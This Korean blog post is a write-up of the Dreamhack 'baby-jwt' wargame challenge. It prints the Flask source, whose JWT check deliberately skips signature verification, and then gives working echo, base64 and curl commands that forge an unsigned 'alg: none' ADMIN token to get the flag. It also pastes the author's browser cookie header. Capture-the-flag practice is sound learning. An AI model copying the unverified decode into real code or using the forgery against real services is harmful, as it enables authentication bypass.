Dreamhack/Dreamhack Wargame (Challenge)

[156] IT 비전공자 [dreamhack] baby-jwt문제풀기

imaginefuture-1 2025. 2. 13. 08:52

 

가입, 로그인, 체크..?
설마
아니 이렇게 쉽게?
로그인도 돼?
역시나..될리가 없다

 

 

 

app.py 소스코드다

from flask import Flask, request, jsonify, render_template_string, make_response
import jwt
import datetime

app = Flask(__name__)
SECRET_KEY = "nolmyun_muhhanee_butterfly_whitewhale_musicsogood"
users = {}

html_template = '''
<!DOCTYPE html>
<html>
<head>
    <title>JWT CTF Challenge</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 20px;
            background-color: #f4f4f4;
        }
        h1 {
            color: #333;
        }
        form {
            margin-bottom: 20px;
            background: #fff;
            padding: 15px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        input {
            margin-bottom: 10px;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
            width: 100%;
        }
        button {
            padding: 10px 15px;
            background-color: #007BFF;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <h1>Simple Secret Check!</h1>
    <h2>Register</h2>
    <form action="/register" method="POST">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required>
        <button type="submit">Register</button>
    </form>

    <h2>Login</h2>
    <form action="/login" method="POST">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required>
        <button type="submit">Login</button>
    </form>

    <h2>Get Secret</h2>
    <button onclick="checkCookie()">Check</button>
    <p id="result"></p>

    <script>
        function checkCookie() {
            const cookies = document.cookie.split('; ');
            const tokenCookie = cookies.find(row => row.startsWith('token='));
            if (!tokenCookie) {
                document.getElementById('result').innerText = 'No token found in cookies!';
                return;
            }

            const token = tokenCookie.split('=')[1];

            fetch('/flag', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ token: token })
            })
            .then(response => response.json())
            .then(data => {
                if (data.flag) {
                    document.getElementById('result').innerText = `Flag: ${data.flag}`;
                } else {
                    document.getElementById('result').innerText = `Error: ${data.error}`;
                }
            })
            .catch(error => {
                document.getElementById('result').innerText = `Request failed: ${error}`;
            });
        }
    </script>
</body>
</html>
'''

@app.route('/')
def home():
    return render_template_string(html_template)

@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username')
    if username in users:
        return jsonify({"error": "Username already exists"}), 400

    users[username] = {"role": "USER"}
    return jsonify({"message": f"User {username} registered successfully"})

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        if username in users:
            token = jwt.encode(
                {"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
                SECRET_KEY,
                algorithm="HS256"
            )
            response = make_response(jsonify({"message": "Login successful"}))
            response.set_cookie("token", token)
            return response
        return jsonify({"error": "Invalid username"}), 400

    return render_template_string(html_template)

@app.route('/flag', methods=['POST'])
def flag():
    data = request.get_json()
    token = data.get('token') if data else request.cookies.get('token')
    if not token:
        return jsonify({"error": "Missing token"}), 403

    try:
        decoded = jwt.decode(token, SECRET_KEY, algorithms=["none"], options={"verify_signature": False})
        if decoded.get('role') == 'ADMIN':
            return jsonify({"flag": "LOL ADMIN HELLO!!!  0xH0P3{REDACTED}"})
    except jwt.ExpiredSignatureError:
        return jsonify({"error": "Token expired"}), 403
    except jwt.DecodeError:
        return jsonify({"error": "Invalid token"}), 403

    return jsonify({"error": "Unauthorized"}), 403


if __name__ == '__main__':
    app.run(debug=True)

 

키는 놀면뭐하니 나비 흰고래..노래 너무 좋아..?

ㅋㅋㅋㅋㅋㅋ

 

이 코드를 분석해보면 JWT 토큰을 조작하여 관리자(ADMIN) 권한을 획득하면 플래그를 얻을 수 있다는 점이 핵심이야.
이제 코드 한 줄씩 설명하면서, 어떻게 공격할 수 있는지 알아보자.


🔎 코드 분석

@app.route('/')
def home():
    return render_template_string(html_template)
  • / 경로는 기본적으로 html_template을 렌더링하는 역할을 한다.
  • 특별한 기능은 없고, 사용자에게 UI를 제공하는 역할.

@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username')
    if username in users:
        return jsonify({"error": "Username already exists"}), 400

    users[username] = {"role": "USER"}
    return jsonify({"message": f"User {username} registered successfully"})
  • /register 엔드포인트에서 사용자를 등록하는 기능.
  • 사용자가 존재하지 않으면 users[username] 딕셔너리에 추가하고, 기본적으로 "USER" 역할을 부여함.
  • 즉, 우리가 가입해도 ADMIN 권한을 갖지 못함.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        if username in users:
            token = jwt.encode(
                {"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
                SECRET_KEY,
                algorithm="HS256"
            )
            response = make_response(jsonify({"message": "Login successful"}))
            response.set_cookie("token", token)
            return response
        return jsonify({"error": "Invalid username"}), 400

    return render_template_string(html_template)
  • /login 엔드포인트에서 로그인 기능을 처리.
  • 로그인 성공 시 JWT 토큰을 생성하고, 해당 토큰을 쿠키로 저장한다.
  • 생성된 토큰에는 role 값이 포함되며, 우리가 회원가입하면 "role": "USER"로 고정됨.
  • 사용된 **JWT 알고리즘은 "HS256"**이다.

@app.route('/flag', methods=['POST'])
def flag():
    data = request.get_json()
    token = data.get('token') if data else request.cookies.get('token')
    if not token:
        return jsonify({"error": "Missing token"}), 403

    try:
        decoded = jwt.decode(token, SECRET_KEY, algorithms=["none"], options={"verify_signature": False})
        if decoded.get('role') == 'ADMIN':
            return jsonify({"flag": "LOL ADMIN HELLO!!!  0xH0P3{REDACTED}"})
    except jwt.ExpiredSignatureError:
        return jsonify({"error": "Token expired"}), 403
    except jwt.DecodeError:
        return jsonify({"error": "Invalid token"}), 403

    return jsonify({"error": "Unauthorized"}), 403
  • JWT 토큰을 확인하여 ADMIN 권한이 있는지 검사하는 엔드포인트
  • jwt.decode()에서 algorithms=["none"] 옵션과 verify_signature=False 설정이 있음 🚨🚨
    • 즉, 서명을 검증하지 않으므로 우리가 직접 토큰을 조작할 수 있음
  • role 값이 "ADMIN"이면 플래그 반환.

🚀 공격 방법

1️⃣ 취약점 분석

  • jwt.decode()에서 algorithms=["none"]과 verify_signature=False를 사용했으므로 JWT 토큰을 검증하지 않음토큰 위조 가능
  • 우리가 직접 role을 "ADMIN"으로 바꾼 가짜 JWT 토큰을 만들어 보내면 플래그를 받을 수 있음.

2️⃣ JWT 토큰 위조

1. 정상적인 USER 토큰 확인

1️⃣ register로 새로운 계정을 만든다.

curl -X POST http://localhost:5000/register -d "username=hacker"

2️⃣ login을 해서 정상적인 USER 토큰을 얻는다.

curl -X POST http://localhost:5000/login -d "username=hacker"

3️⃣ 서버의 응답으로 JWT 토큰을 받는다.

{
  "message": "Login successful"
}

이때, 브라우저의 개발자 도구나 JWT 디코더를 사용해서 JWT 토큰을 분석해보자.

2. JWT 토큰 조작

JWT 토큰을 jwt.io 같은 사이트에서 디코딩하면 이런 정보가 나올 거야.

{
  "username": "hacker",
  "role": "USER",
  "exp": 1731257794
}

우리는 "role": "USER"을 "role": "ADMIN"으로 바꿔야 함.

🚨 그러나! algorithms=["none"] 이므로 아예 서명 없이 토큰을 만들면 됨 🚨

3. 위조된 JWT 토큰 생성

JWT 토큰은 다음처럼 구성됨:

header.payload.signature

우리는 signature를 없애버린 위조된 토큰을 생성해야 함.

echo -n '{"alg":"none"}' | base64 | tr -d '=' | tr '/+' '_-' > header.txt
echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 | tr -d '=' | tr '/+' '_-' > payload.txt
paste -d '.' header.txt payload.txt

그러면 아래처럼 서명 없이 위조된 JWT 토큰이 만들어질 거야.

eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0.

3️⃣ 위조한 JWT 토큰을 서버로 전송

위조된 토큰을 flag 엔드포인트에 전송하면 플래그를 받을 수 있어.

curl -X POST http://localhost:5000/flag -H "Content-Type: application/json" -d '{"token":"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0."}'

🔥 서버가 응답:

{
  "flag": "LOL ADMIN HELLO!!!  0xH0P3{REDACTED}"
}

🚀 플래그 GET 성공!


정리

  • jwt.decode()에서 verify_signature=False라서 서명 없이 위조된 JWT 토큰을 만들 수 있음.
  • role을 "ADMIN"으로 변경한 가짜 토큰을 만들고 서버에 보내면 플래그를 획득할 수 있음.
  • JWT 보안 취약점 중 하나인 "none" 알고리즘 취약점을 활용한 공격!

**🔴 실제 환경에서는 이런 취약점이 없도록 JWT 검증을 엄격하게 해야 함! 🔴

 

 

 

아까 로그인 실패한 패킷 헤더에서 쿠키를 보자

 

_ga=GA1.1.1262192258.1731796082; _ga_GYX8VR6KG3=GS1.1.1731796081.1.1.1731796084.57.0.0; ph_phc_Lscj3UhOISJF5M3pin6NLtGRKqzlH2XhVD8ghl31ZBY_posthog=%7B%22distinct_id%22%3A%2201933717-1b28-75bb-82cb-16571c7cb417%22%2C%22%24sesid%22%3A%5B1731796085561%2C%2201933717-1b27-7c39-8a30-860a304a8ff2%22%2C1731796081447%5D%7D; PHPSESSID=5a73e7597091ce10942a976d1c53d513; backup-timestamp=1739317736.429568; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IlVTRVIiLCJleHAiOjE3Mzk0MDMzNzN9.55g5X2lsILI4Z6EYboRHrYJapmjSFWJoWUKXFl8aPmg

 

뭔가 많다

내가 아는건 phpsessid랑 token밖에 모르눈뎅..

 

호옹 jwt디코더를 사용해서 jwt 토큰을 분석해보니 캬 신기하네 다 보이넹 이걸로 ADMIN 토큰을 생성해보자

 

 

야무지게 만들어졌다

eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ

 

🔍 각 명령어 분석 및 설명

이 코드는 JWT (JSON Web Token) 토큰을 생성하는 과정이야.
JWT의 구조는 header.payload.signature로 이루어져 있는데, 여기서는 "alg": "none" 설정을 이용해 서명을 우회하려고 하고 있어.


1️⃣ 첫 번째 명령어: JWT 헤더 생성

echo -n '{"alg":"none"}' | base64 | tr -d '=' | tr '/+' '_-' > header.txt

🛠 설명

  • echo -n '{"alg":"none"}'
    👉 JSON 형식의 JWT 헤더 부분을 출력 (-n 옵션은 줄바꿈 방지)
    {"alg":"none"}
    
  • | base64
    👉 JSON을 Base64 URL 인코딩 (JWT는 Base64 URL 인코딩 사용)
  • | tr -d '='
    👉 Base64 패딩(=) 제거 (JWT에서는 =이 제거된 Base64 URL을 사용)
  • | tr '/+' '_-'
    👉 URL-safe Base64로 변환 (/ → _, + → - 변경)
  • > header.txt
    👉 최종 결과를 header.txt 파일에 저장

📝 예제 실행 결과 (Base64 URL 인코딩)

echo -n '{"alg":"none"}' | base64 | tr -d '=' | tr '/+' '_-'

🔹 출력 예시:

eyJhbGciOiJub25lIn0

(이 값이 header.txt에 저장됨)


2️⃣ 두 번째 명령어: JWT 페이로드 생성

echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 | tr -d '=' | tr '/+' '_-' > payload.txt

🛠 설명

  • echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}'
    👉 JWT의 페이로드 부분을 출력
    {"username":"hacker","role":"ADMIN","exp":1731257794}
    
    • "username": "hacker" → 사용자명
    • "role": "ADMIN" → 관리자 권한 부여
    • "exp": 1731257794 → 만료 시간 (Unix Timestamp)
  • | base64
    👉 JSON을 Base64 URL 인코딩
  • | tr -d '='
    👉 = 패딩 제거
  • | tr '/+' '_-'
    👉 URL-safe Base64로 변환
  • > payload.txt
    👉 최종 결과를 payload.txt 파일에 저장

📝 예제 실행 결과

echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 | tr -d '=' | tr '/+' '_-'

🔹 출력 예시:

eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0

(이 값이 payload.txt에 저장됨)


3️⃣ 세 번째 명령어: 헤더와 페이로드 결합

paste -d '.' header.txt payload.txt

🛠 설명

  • paste -d '.' header.txt payload.txt
    👉 header.txt와 payload.txt 파일을 .(점)으로 연결
  • 결과적으로, JWT의 "header.payload" 부분을 생성

📝 예제 실행 결과

paste -d '.' header.txt payload.txt

🔹 출력 예시:

eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0

📌 이제 JWT의 서명(signature) 부분이 없는 상태의 토큰을 완성한 것!
서명 검증이 비활성화된 시스템에서는 이 JWT를 사용해 관리자 권한을 획득할 수 있음.


🏆 최종 요약

명령어 설명

`echo -n '{"alg":"none"}' base64
`echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' base64
paste -d '.' header.txt payload.txt JWT 헤더 + 페이로드 결합

이제 JWT를 서버에 요청하면 관리자 권한을 획득할 수 있어! 🚀

 

 


 

 

오류 메시지를 보면 JSON을 제대로 읽지 못했다는 걸 알 수 있어.
즉, 요청 본문이 JSON 형식이 아니라는 의미야.
이럴 때는 몇 가지 원인을 의심해볼 수 있어.


오류 원인 및 해결 방법

🚨 1. JSON 형식 문제 (Syntax Error)

현재 -d 옵션에서 JSON을 **단일 따옴표 (' ')**로 감싸고 있어. 하지만 Windows cmd에서는 단일 따옴표를 문자열 구분자로 인식하지 않아 제대로 전송되지 않을 가능성이 큼.
👉 따라서, JSON을 이스케이프하거나 이중 따옴표 (" ")를 사용해야 함.

🔹 수정된 명령어 (이중 따옴표 사용)

curl -X POST http://host1.dreamhack.games:13834/flag -H "Content-Type: application/json" -d "{\"token\":\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ.\"}"

💡 이렇게 하면 JSON이 올바르게 전송될 가능성이 높음.


🚨 2. 줄바꿈 문자 문제

Windows cmd에서는 JSON을 다룰 때 자동으로 줄바꿈이 삽입될 수도 있음.
👉 이를 방지하려면 --data-raw 옵션을 사용해보자.

🔹 수정된 명령어 (--data-raw 사용)

curl -X POST http://host1.dreamhack.games:13834/flag -H "Content-Type: application/json" --data-raw "{\"token\":\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ.\"}"

💡 --data-raw 옵션을 사용하면 Windows cmd에서 불필요한 변환 없이 데이터를 그대로 전송할 수 있어.


🚨 3. 서버 URL 문제

너가 입력한 URL을 보면 /flag 경로 앞에 **슬래시가 두 개 (//flag)**가 붙어 있음.
일부 서버에서는 이게 문제될 수 있어.
👉 슬래시를 하나만 남기고 다시 시도해보자.

🔹 수정된 URL

curl -X POST http://host1.dreamhack.games:13834/flag -H "Content-Type: application/json" --data-raw "{\"token\":\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ.\"}"

🚀 최종 정리

  1. JSON을 올바르게 전송하려면 단일 따옴표 대신 이중 따옴표 사용
  2. Windows cmd의 JSON 처리 문제를 해결하려면 --data-raw 옵션 사용
  3. URL을 확인하여 //flag 대신 /flag로 수정

🔴 이제 위 명령어로 다시 시도해봐! 🔴
그리고 만약 여전히 Bad Request가 뜬다면, jwt.io 같은 사이트에서 JWT 토큰을 다시 확인해봐.
(혹시 role이 "ADMIN"으로 제대로 설정되지 않았을 수도 있어.)

 

 

 "flag": "LOL ADMIN HELLO!!!  0xH0P3{kimsungwha_trying_to_solve_but_still_no_flag_zzzzzzzzlol}"